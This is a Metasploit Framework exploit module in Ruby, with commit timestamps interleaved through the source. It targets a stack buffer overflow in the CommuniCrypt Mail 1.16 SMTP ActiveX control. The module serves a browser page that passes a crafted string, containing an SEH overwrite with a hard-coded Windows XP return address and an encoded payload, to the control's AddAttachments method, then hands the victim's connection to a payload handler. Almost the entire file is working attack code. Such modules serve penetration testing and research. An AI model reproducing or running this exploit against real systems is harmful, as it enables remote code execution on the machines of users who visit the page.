2010-05-24 22:37:59 +00:00
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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2012-02-21 01:40:50 +00:00
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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2010-05-24 22:37:59 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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2010-07-26 19:30:02 +00:00
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Rank = GreatRanking
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2010-05-24 22:37:59 +00:00
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the ANSMTP.dll/AOSMTP.dll
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ActiveX Control provided by CommuniCrypt Mail 1.16. By sending a overly
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long string to the "AddAttachments()" method, an attacker may be able to
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execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Lincoln', # Original exploit author
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'dookie' # MSF module author
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],
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'Version' => '$Revision$',
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'References' =>
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[
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2010-05-25 02:09:42 +00:00
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[ 'OSVDB', '64839' ],
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2012-03-20 14:01:59 +00:00
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[ 'EDB', 12663 ],
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2010-05-24 22:37:59 +00:00
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Universal', { 'Offset' => 284, 'Ret' => 0x1001e41c } ], #p/p/r in AOSMTP.dll
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],
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'DisclosureDate' => 'May 19 2010',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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filler = rand_text_alpha(target['Offset'])
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seh = generate_seh_payload(target.ret)
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trailer = rand_text_alpha(1000 - p.encoded.length)
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sploit = filler + seh + p.encoded + trailer
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# Build out the message
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content = %Q|<html>
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<object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='#{vname}'></object>
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<script language='javascript'>
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var #{vname} = document.getElementById('#{vname}');
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var #{strname} = new String('#{sploit}');
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#{vname}.AddAttachments(#{strname});
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</script>
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</html>
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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